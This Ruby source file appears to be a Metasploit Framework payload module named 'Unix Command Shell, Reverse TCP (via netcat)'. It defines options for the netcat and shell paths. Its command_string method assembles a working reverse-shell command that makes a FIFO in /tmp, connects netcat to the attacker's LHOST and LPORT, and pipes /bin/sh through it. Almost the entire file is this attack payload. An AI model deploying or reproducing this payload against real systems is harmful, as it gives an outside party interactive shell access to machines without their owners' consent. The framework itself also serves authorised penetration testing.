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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = :dynamic
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  include Msf::Payload::Single
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(merge_info(info,
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     'Name'          => 'Unix Command Shell, Reverse TCP (via netcat)',
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     'Description'   => 'Creates an interactive shell via netcat',
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     'Author'         =>
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       [
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         'm-1-k-3',
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         'egypt',
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         'juan vazquez'
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       ],
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     'License'       => MSF_LICENSE,
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     'Platform'      => 'unix',
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     'Arch'          => ARCH_CMD,
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     'Handler'       => Msf::Handler::ReverseTcp,
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     'Session'       => Msf::Sessions::CommandShell,
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     'PayloadType'   => 'cmd',
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     'RequiredCmd'   => 'netcat',
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     'Payload'       =>
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       {
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         'Offsets' => { },
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         'Payload' => ''
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       }
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    ))
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    register_advanced_options(
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      [
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        OptString.new('NetcatPath', [true, 'The path to the Netcat executable', 'nc']),
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        OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])
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      ]
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    )
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  end
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  #
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  # Constructs the payload
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  #
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  def generate(_opts = {})
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    vprint_good(command_string)
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    return super + command_string
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  end
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  #
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  # Returns the command string to use for execution
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  #
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  def command_string
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    backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
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    "mkfifo /tmp/#{backpipe}; #{datastore['NetcatPath']} #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | #{datastore['ShellPath']} >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
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  end
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end
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